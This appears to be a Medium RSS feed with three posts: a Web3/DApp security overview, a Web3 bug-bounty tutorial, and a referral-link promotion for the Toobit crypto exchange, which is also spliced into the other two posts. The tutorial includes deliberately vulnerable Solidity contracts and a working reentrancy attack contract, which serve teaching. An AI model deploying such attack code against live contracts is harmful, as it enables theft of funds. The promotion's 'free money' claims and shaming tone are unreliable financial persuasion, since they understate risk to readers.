<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by G on Medium]]></title>
        <description><![CDATA[Stories by G on Medium]]></description>
        <link>https://medium.com/@GhasemiAsli?source=rss-2382e0acebef------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*9Majg4verhPuGFfpRFLxEA.jpeg</url>
            <title>Stories by G on Medium</title>
            <link>https://medium.com/@GhasemiAsli?source=rss-2382e0acebef------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 01:06:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@GhasemiAsli/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Exploring the Security Challenges of Decentralized Applications (DApps)]]></title>
            <link>https://medium.com/@GhasemiAsli/exploring-the-security-challenges-of-decentralized-applications-dapps-843e72e6cc29?source=rss-2382e0acebef------2</link>
            <guid isPermaLink="false">https://medium.com/p/843e72e6cc29</guid>
            <category><![CDATA[decentralized-finance]]></category>
            <category><![CDATA[dapps]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[web3-security]]></category>
            <dc:creator><![CDATA[G]]></dc:creator>
            <pubDate>Fri, 22 Aug 2025 11:43:29 GMT</pubDate>
            <atom:updated>2025-08-22T11:43:29.377Z</atom:updated>
            <content:encoded><![CDATA[<p>When people think about Web3 security, the conversation almost always starts with <strong>smart contracts</strong>. That makes sense: a single bug in a contract can lock or drain millions of dollars in seconds.</p><p>But here’s the inconvenient truth: <strong>Decentralized Applications (DApps) are just as critical, and often even more vulnerable.</strong></p><p>A DApp isn’t just the smart contract. It’s the entire stack:</p><ul><li>The frontend interface (React, Next.js, Vue, etc.)</li><li>The backend APIs and blockchain nodes it communicates with</li><li>The wallet integrations</li><li>The hosting environments and CDNs</li></ul><p>If any one of those layers fails, your “secure” contract might as well be wide open.</p><h3>Why DApp Security Matters as Much as Smart Contract Security</h3><p>Think of a DApp like a car:</p><ul><li>The <strong>engine</strong> = smart contract.</li><li>The <strong>dashboard and controls</strong> = frontend.</li><li>The <strong>roads and fuel stations</strong> = infrastructure (APIs, RPCs, hosting).</li></ul><p>Everyone brags about building a bulletproof engine. But if your steering wheel is faulty, or your gas station leaks, you’re still going to crash.</p><p>Smart contracts may be immutable, but DApps are dynamic. They change constantly — frameworks get patched, dependencies updated, APIs exposed. That’s where hackers see the biggest opportunities.</p><h3>Common Security Challenges in DApps</h3><h3>1. Client-Side Bugs</h3><p>Most DApps are written with JavaScript frameworks like React, Next.js, or Vue. That means they inherit all the classic Web2 bugs — DOM-based XSS, CSRF, race conditions — but with higher stakes, because instead of stealing cookies, attackers can steal wallets.</p><p>Example attack surface:</p><ul><li>Injecting malicious scripts into a DApp to replace wallet addresses (users think they’re sending ETH to their friend, but it’s actually the attacker’s address).</li><li>Manipulating local storage or session tokens to bypass frontend checks.</li></ul><p>The scary part? Many developers <em>still</em> rely on client-side validation, forgetting that in Web3, malicious actors can directly call smart contracts with raw transactions.</p><h3>2. Cross-Site Scripting (XSS)</h3><p>XSS is the cockroach of security bugs. It never dies, it just adapts.</p><p>In Web3, XSS is even more dangerous:</p><ul><li>Injected scripts can <strong>hook into </strong><strong>window.ethereum</strong> and hijack MetaMask or WalletConnect transactions.</li><li>Attackers can present a fake “sign this transaction” popup and drain funds.</li><li>Malicious code can spread across decentralized hosting platforms like IPFS or Arweave.</li></ul><p>One great writeup: <a href="https://samcurry.net/universal-xss-on-netlifys-next-js-library/">Sam Curry’s Universal XSS on Netlify’s Next.js library</a>. It proves that even trusted modern frameworks can hide serious bugs — and most DApps are built directly on top of those.</p><h3>3. Exposed Panels and Node APIs</h3><p>A common mistake: developers accidentally expose internal APIs, admin dashboards, or even blockchain RPC nodes.</p><p>Example scenarios:</p><ul><li>An exposed Infura/Alchemy API key lets an attacker spam transactions on behalf of the DApp, draining rate limits or even burning funds.</li><li>An admin panel with weak auth can be brute-forced or discovered through Shodan.</li><li>Debug panels with testnet/private keys still visible in configs.</li></ul><p>In Web2, this might “just” lead to data leaks. In Web3, this can mean total contract takeover.</p><h3>4. Supply Chain Attacks</h3><p>Most DApps are a Frankenstein of open-source libraries, NPM packages, and third-party SDKs. One poisoned dependency = total compromise.</p><p>We’ve already seen:</p><ul><li>Malicious NPM packages that stole environment variables (including private keys).</li><li>Typosquatting attacks (web3.js vs. web3js).</li><li>Phishing through wallet SDKs.</li></ul><p>Hackers don’t always go through the front door. Sometimes they just poison the food you eat.</p><h3>Web2 vs. Web3 Security: Why It’s Different</h3><p>In Web2:</p><ul><li>A bug costs downtime, stolen data, or ransomware.</li><li>Companies panic, patch, and move on.</li></ul><p>In Web3:</p><ul><li>A bug = <strong>instant, irreversible money loss</strong>.</li><li>There are no chargebacks. No customer service. No undo button.</li><li>Every exploit is public, permanent, and devastating.</li></ul><p>That’s why hackers love Web3 — the stakes are higher.<br> And that’s why builders need to think beyond contracts.</p><h3>The Hacker’s Perspective</h3><p>If you’re a hacker, here’s the mindset shift:</p><ul><li>Don’t just look at Solidity.</li><li>Look at how the DApp communicates.</li><li>Look at how wallets sign transactions.</li><li>Look at what happens <em>before</em> the contract call.</li></ul><p>Most successful Web3 hacks didn’t start with advanced EVM wizardry. They started with something simple: an exposed API, a weak signature check, or an XSS payload.</p><h3>Why This Matters Beyond Security</h3><p>Now here’s the bigger picture: Web3 isn’t just about security. It’s about opportunity.</p><ul><li>Hackers use these insights to find bugs and get paid through bug bounty programs.</li><li>Traders use these insights to avoid rug pulls and scams.</li><li>Builders use these insights to ship stronger apps and attract real users.</li></ul><p>The people who study this stuff aren’t just “tech nerds.” They’re the ones who get <strong>ahead of the money curve</strong>.</p><h3>Don’t Just Hack. Get Paid.</h3><p>The same mindset that spots vulnerabilities also spots opportunities.</p><p>That’s why I’ve been writing not just about hacking, but also about the <strong>next wave of crypto exchanges where the early adopters get rewarded</strong>.</p><p>If you’re the type who likes to be early — in bugs, in tech, in money — you don’t want to miss my latest breakdown:</p><p>👉 <a href="https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f">How To Not Get Behind In The New Money Glitches</a></p><p>In that article, I explain why smart traders, hackers, and Web3 nerds are already moving onto <a href="https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f">*****</a>— and why missing it will feel like missing <a href="https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f">Bitcoin in 2013 or Binance in 2017</a>.</p><h3>Final Thought</h3><p>You already know how fast Web3 moves. One day it’s DeFi. The next it’s NFTs. The next it’s AI tokens.</p><p>Security shows us how fragile things are. But it also shows us where the next <a href="https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f"><strong>money glitch</strong></a> lives.</p><p>👉 Don’t just study Web3. Profit from it. Read <a href="https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f"><strong>my MOST IMPORTANT article here</strong></a> and get ahead before everyone else wakes up.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=843e72e6cc29" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Not Get Behind In The New Money Glitches]]></title>
            <link>https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f?source=rss-2382e0acebef------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c772fe5cf7f</guid>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[money]]></category>
            <category><![CDATA[make-money-online]]></category>
            <category><![CDATA[web3]]></category>
            <dc:creator><![CDATA[G]]></dc:creator>
            <pubDate>Fri, 22 Aug 2025 11:35:49 GMT</pubDate>
            <atom:updated>2025-08-22T14:29:06.712Z</atom:updated>
            <content:encoded><![CDATA[<h3>Don’t left Behind (New Tech-Money Glitch)</h3><p>Most people are financially asleep.<br> They miss every single wave of opportunity.</p><ul><li>They laughed at Bitcoin.</li><li>They ignored Ethereum.</li><li>They fumbled DeFi.</li><li>They arrived late to NFTs.</li></ul><p>And every time, they sat there broke, saying <em>“I should’ve gotten in earlier.”</em></p><p>Meanwhile, the people who moved fast? They’re free. They’re stacking. They’re living life on their own terms.</p><p>The new glitch right now? <strong>Toobit</strong>. And if you miss it, you’ll regret it — again.</p><h3>Why Toobit? (And Why Winners Are Moving There)</h3><p>Toobit isn’t some boring, outdated exchange. It’s the <strong>fastest growing crypto platform</strong> that actually rewards early adopters. And if you’re not on it yet, you’re already behind.</p><p>Here’s why:</p><ul><li><strong>Free money just for signing up</strong> → Bonuses and rewards for doing literally nothing except joining early.</li><li><strong>Ridiculously low fees</strong> → Stop leaking profit to greedy exchanges. Keep more of your money.</li><li><strong>Copy trading</strong> → Don’t know what you’re doing yet? Fine. Copy the pros while you learn.</li><li><strong>API + advanced tools</strong> → Perfect for hackers, nerds, and builders who actually want control.</li><li><strong>Global expansion</strong> → Toobit is scaling fast. This is Binance 2017 all over again — except most people still don’t know it.</li></ul><p>Smart people are already jumping in. The herd will arrive later. You want to be early. Always.</p><h3>The Harsh Truth</h3><p>If you’re broke, it’s your fault.<br> If you keep missing opportunities, it’s your fault.</p><p>You’ve had chance after chance, and you let them pass.</p><ul><li>You could’ve mined Bitcoin. You didn’t.</li><li>You could’ve bought Ethereum under $100. You didn’t.</li><li>You could’ve farmed insane DeFi yields. You didn’t.</li></ul><p>Now the door’s open again — and you’re either walking through it, or you’re staying broke. Simple as that.</p><h3>How to Get In (No Excuses)</h3><p>Here’s what you do right now:</p><ol><li>Click my <a href="https://www.toobit.com/en-US/register?invite_code=bIs9hN"><strong>link</strong></a><strong> </strong>to <a href="https://www.toobit.com/en-US/register?invite_code=bIs9hN"><strong>get bonuses</strong></a></li><li>Create your account (10 secs max, basic, quick, stop crying).</li><li>Grab your bonuses and start trading</li></ol><p>By using my link, you’re not just supporting me — you’re literally unlocking rewards you won’t get otherwise. You’d be stupid not to.</p><h3>Final Words</h3><p>Money doesn’t wait. Opportunities don’t wait. Winners don’t wait.</p><p>The only difference between people making millions in Web3 and people still complaining on Reddit is <strong>who moved first</strong>.</p><p><a href="https://www.toobit.com/en-US/register?invite_code=bIs9hN">Toobit</a> is the glitch right now. It’s the cheat code. It’s the edge.</p><p>👉 Join Toobit now with my <a href="https://www.toobit.com/en-US/register?invite_code=bIs9hN">link</a> to get access to sign-up-bonuses<br> Take the free money. Take the tools. Take the advantage.</p><p>Because in five years, you’ll either say:<br> ✅ <em>“I was smart enough to join early.”</em><br> …or ❌ <em>“I saw the chance and I was too scared to move.”</em></p><p>Your choice. But remember: <strong>losers hesitate, winners act.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c772fe5cf7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Web3: Introduction and How to Start]]></title>
            <link>https://infosecwriteups.com/hacking-web3-introduction-and-how-to-start-88ae2c51f3ec?source=rss-2382e0acebef------2</link>
            <guid isPermaLink="false">https://medium.com/p/88ae2c51f3ec</guid>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web3]]></category>
            <dc:creator><![CDATA[G]]></dc:creator>
            <pubDate>Thu, 19 May 2022 15:53:11 GMT</pubDate>
            <atom:updated>2025-08-22T11:47:32.966Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oNoQZ8ecKjRTkBPENEBarg.png" /></figure><p>Web3 is a newfound technology, and we expect significantly more security compared to web2. In fact, web3 is a new version of our old World Wide Web, but this time decentralized and based on blockchain. Web3 works with blockchain, cryptocurrencies, and NFTs. Because Web3 is a new technology, companies are not prepared for new risks and security issues, and the winner is the one who can forecast and prevent all possible security issues. Since millions of dollars a day are at stake in web3 applications, today, some Web3 companies have signed up for a bug bounty program and pay white hat hackers to secure their business.</p><h3>Concepts :</h3><h4>Decentralized Finance (DeFi):</h4><p>DeFi provides financial instruments without relying on intermediaries such as brokerages or banks. These applications allow users to save, borrow, lend and trade without any fees (that any financial company like the bank receives). Also, these applications are very fast and anyone can use them without any approval. This means that anyone anywhere can access these financial services with just an internet connection. DeFi applications use the blockchain, and applications named DApps manage and handle transactions.</p><h4>Decentralized Application (DApp):</h4><p>A decentralized application is an application on a decentralized network that provides a frontend user interface combined with a smart contract that is developed and powered by Ethereum. Centralized applications use a single computer, but DApps operate on a peer-to-peer network of computers and use blockchain for data storage. On Ethereum, smart contracts are open-source and transparent.</p><h4>Web3 Bug Bounty :</h4><p>Web3 bug bounty is almost a new topic and there are not many platforms for it. But in 2017, a new cybersecurity consulting company named <a href="http://hacken.io/"><strong>Hacken</strong></a> started working on providing cybersecurity services for blockchain security. <a href="https://hackenproof.com/"><strong>Hackenproof</strong></a><strong> </strong>is a part of the Hacken group. Also, <a href="https://immunefi.com/"><strong>Immunefi</strong></a><strong> </strong>is a good web3 bug bounty platform, that was founded in 2020. Immunefi offers the largest bounties to white hackers, for example, a single program (wormhole) in Immunefi offers <strong>$10,000,000</strong> for critical smart contract bugs.</p><h3>Don’t Just Hack. Get Paid.</h3><p>The same mindset that spots vulnerabilities also spots opportunities.</p><p>That’s why I’ve been writing not just about hacking, but also about the <strong>next wave of crypto exchanges where the early adopters get rewarded</strong>.</p><p>If you’re the type who likes to be early — in bugs, in tech, in money — you don’t want to miss my latest breakdown:</p><p>👉 <a href="https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f">How To Not Get Behind In The New Money Glitches</a></p><p>In that article, I explain why smart traders, hackers, and Web3 nerds are already moving onto <a href="https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f">*****</a> — and why missing it will feel like missing <a href="https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f">Bitcoin in 2013 or Binance in 2017</a>.</p><h3>Foundations:</h3><p>In all disciplines, you need strong foundations to become an expert. <br>For example, in a car race, imagine you have a good car. Still, you don’t know much about the way or your car’s possibilities, in parallel your friend has a normal car, but he knows the routes well and also knows what he can do to get faster and go through the way easier by using his car’s abilities. So, guess who wins? Yes, your friend. This means a professional Solidity developer knows where critical functions have been implemented and where the contract developer might make a mistake, but how does a hacker who does not know about smart contract development want to hack a smart contract?<br>That’s why I highly recommend you to learn more about the principles of the blockchain, how Ethereum works and how to develop a smart contract.<br>First, you need to know what blockchain is, and how it works, <a href="https://www.udemy.com/course/blockchain-theory-101/">Blockchain Theory 101</a> Udemy course and <a href="https://www.amazon.com/Blockchain-Developer-Implementing-Distributed-Blockchain-based/dp/1484248465">The Blockchain Developer</a> by Elad Elrom are good resources for blockchain basics. Since all smart contracts and Ethereum accounts live in Ethereum virtual machine, you should know about that. Mastering Ethereum by Andreas Antonopoulos is a book about how Ethereum works.</p><p>Programming is another important thing that you should learn. As you know, all Ethereum Decentralized applications (DApps) have a smart contract (usually written by Solidity) and a frontend user interface. The smart contract that you use it might be written by you or another because mentioned before every smart contract in Ethereum is open source.</p><p>Transparency and accessibility are good features of DeFi, In Web 2.0, a small development team wrote the code, and others could not see the program code, but in Web3, applications are developed in full view of everyone.</p><p>The most popular smart contract language is Solidity. This language is an object-oriented, high-level language for implementing smart contracts. If you already know a programming language, learning Solidity is very easy for you, “<a href="https://solidity-by-example.org/">Solidity by example</a>” is a better resource for learning Solidity.<br>Another popular language for writing smart contracts is JavaScript. This popular language works on both client and server-side. The Book “<a href="https://www.amazon.it/dp/0596805527">JavaScript: The Definitive Guide</a>” is the best way to learn JavaScript. The most popular web3 libraries for JavaScript are web3.jsand ethers.js. <br>Apart from these two languages, Viper and Rust are also good languages for smart contracts.</p><h3>Vulnerabilities in Web3 :</h3><p>Web3 bugs are not like web2 bugs, and there are many differences.<br>You can find web2 bugs in web3 applications, not in smart contracts. In web2 we classify vulnerabilities with CWE, but in the smart contract, we classify issues with <strong>Smart Contract Weakness Classification</strong> (SWC). You can find a full list of smart contract weaknesses in The <a href="https://swcregistry.io/">SWC Registry</a>.</p><p>In this article, you will be familiar with some of the most popular web3 vulnerabilities.</p><h4>Function default visibility (SWC-100)</h4><p>This issue occurs when a developer forgets to set proper visibility for a function and a malicious user (hacker) can make unauthorized or unintended state changes.</p><pre>pragma solidity ^0.4.24;<br><strong>contract</strong> <strong>FunctionDefaultVisibility</strong> {<br>   <strong>function</strong> <strong>withdrawWinnings</strong>() {<br>     <strong>require</strong>(<strong>uint32</strong>(msg.sender) == 0);<br>     _sendWinnings();<br>   }<br>   <strong>function</strong> <strong>_sendWinnings</strong>() {<br>     msg.sender.transfer(this.balance);<br>   }<br>}</pre><p>As you can see, no function visibility (private, public, internal…) has been set.</p><h4>Unprotected Ethereum Withdrawal (SWC-105)</h4><p>Due to missing or insufficient access controls, malicious parties can withdraw all ethers from the contract. This issue is sometimes caused by unintentionally exposing init functions. By wrongly naming a function intended to be a constructor, the constructor code ends up in the runtime byte code and can be called by anyone to reinitialize the contract.</p><h4>Re-entrancy (SWC-107)</h4><p>In a reentrancy attack, a malicious contract (attacker contract) calls back into the calling contract before the first invocation of the function is completed. This may lead to the different invocations of the function to interact in undesirable ways.</p><p><strong>Example of a vulnerable contract :</strong></p><pre>contract DepositFunds {<br>    mapping(address =&gt; uint) public balances;<br><br>    function deposit() public payable {<br>        balances[msg.sender] += msg.value;<br>    }<br><br>    function withdraw() public {<br>        uint bal = balances[msg.sender];<br>        require(bal &gt; 0);<br><br>        (bool sent, ) = msg.sender.call{value: bal}(&quot;&quot;);<br>        require(sent, &quot;Failed to send Ether&quot;);<br><br>        balances[msg.sender] = 0;<br>    }<br><br><br>}</pre><p>The vulnerability comes when the user requests a number of ethers. In this case, the attacker calls the withdraw()function. He can transfer tokens even though he has already received tokens because his balance is not yet set to 0.</p><p>An attacker can create the following contract and exploit the reentrancy vulnerability :</p><pre>contract Attack {<br>    DepositFunds public depositFunds;<br><br>    constructor(address _depositFundsAddress) {<br>        depositFunds = DepositFunds(_depositFundsAddress);<br>    }<br><br>    // Fallback is called when DepositFunds sends Ether to this contract.<br>    fallback() external payable {<br>        if (address(depositFunds).balance &gt;= 1 ether) {<br>            depositFunds.withdraw();<br>        }<br>    }<br><br>    function attack() external payable {<br>        require(msg.value &gt;= 1 ether);<br>        depositFunds.deposit{value: 1 ether}();<br>        depositFunds.withdraw();<br>    }<br><br><br>}</pre><p>Read more about <a href="https://hackernoon.com/hack-solidity-reentrancy-attack"><strong>The Reentrancy Attack</strong></a><strong>.</strong></p><h4>Malleable signatures (SWC-117)</h4><p>Often, people assume that the use of a cryptographic signature system in Ethereum contracts verifies that signatures are unique, but signatures in Ethereum can be altered without the possession of the private key and remain valid. For example, elliptic key cryptography consists of three variables: <em>v</em>, <em>r</em>, and <em>s</em> and if these values are modified in just the right way, you can obtain a valid signature with an invalid private key.</p><h4>Write to Arbitrary location (SWC-124)</h4><p>A smart contract’s data is persistently stored at some storage location on the EVM level. The contract is responsible for ensuring that only authorized user or contract accounts may write to sensitive storage locations.</p><p>If an attacker can write to arbitrary storage locations, the authorization checks may easily be bypassed. It allows an attacker to overwrite a field that contains the address of the owner.</p><pre>pragma solidity ^0.4.25;<br>contract Wallet {<br>  uint[] private bonusCodes;<br>  address private owner;</pre><pre>  constructor() public {<br>        bonusCodes = new uint[](0);<br>        owner = msg.sender;<br>  }</pre><pre>  function () public payable {<br>  }</pre><pre>  function PushBonusCode(uint c) public {<br>        bonusCodes.push(c);<br>  }</pre><pre>  function PopBonusCode() public {<br>        require(0 &lt;= bonusCodes.length);<br>        bonusCodes.length--;<br>  }</pre><pre>  function UpdateBonusCodeAt(uint idx, uint c) public {<br>        require(idx &lt; bonusCodes.length);<br>        bonusCodes[idx] = c;<br>  }</pre><pre>  function Destroy() public {<br>        require(msg.sender == owner);<br>        selfdestruct(msg.sender);<br>  }<br>}</pre><p>As you can see, in <strong>line 4</strong> the bonusCodes variable declared that in <strong>line 26</strong> we can write in this location.</p><h3>Next</h3><p>Now that you have enough knowledge about DeFi, DApp, and Web3, I recommend learning more about the smart contract weaknesses, this can be very helpful. If you want an Ethereum virtual machine to test smart contract bugs on them, CTFs can help. You can practice the lessons learned and become more familiar with Web3 hacking. <a href="https://ethernaut.openzeppelin.com/">Ethernaut Game</a>, <a href="https://capturetheether.com/">Capture the ether</a>, and <a href="https://damnvulnerabledefi.xyz/">VulnerableDefi</a> are the best CTFs for practicing smart contract vulnerabilities.</p><p>Solutions for these CTFs are available on <a href="https://hackernoon.com/"><strong>Hackernoon</strong></a> and you can find them there with the <em>solidity-hack</em> tag.</p><p>Also, tools can help you in the hunting process, with automation you can find more and more bugs. The best web3 hacking tools are <a href="https://github.com/ConsenSys/mythril">Mythril</a>, <a href="https://github.com/ConsenSys/surya">Surya</a>, <a href="https://github.com/dapphub/dapptools/tree/master/src/seth">Seth</a>, and <a href="https://github.com/dapphub/dapptools">DAppTools</a>.</p><p>After a lot of practice and learning, you become a skilled web3 hacker, then you can go to web3 bug bounty platforms, select a program and start hacking. Of course, you can do this as a practice when you are learning, but it is good when you are an expert to go to existing platforms and earn money.</p><h3>Conclusion:</h3><p>No technology is perfect, and security is never 100%. To hack stuff you just have to start and learn, and practice, practice, and practice.</p><h3>Final Thought</h3><p>You already know how fast Web3 moves. One day it’s DeFi. The next it’s NFTs. The next it’s AI tokens.</p><p>Security shows us how fragile things are. But it also shows us where the next <a href="https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f"><strong>money glitch</strong></a> lives.</p><p>👉 Don’t just study Web3. Profit from it. Read <a href="https://medium.com/@GhasemiAsli/how-to-not-get-behind-in-the-new-money-glitches-3c772fe5cf7f"><strong>my MOST IMPORTANT article here</strong></a> and get ahead before everyone else wakes up.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=88ae2c51f3ec" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/hacking-web3-introduction-and-how-to-start-88ae2c51f3ec">Hacking Web3: Introduction and How to Start</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>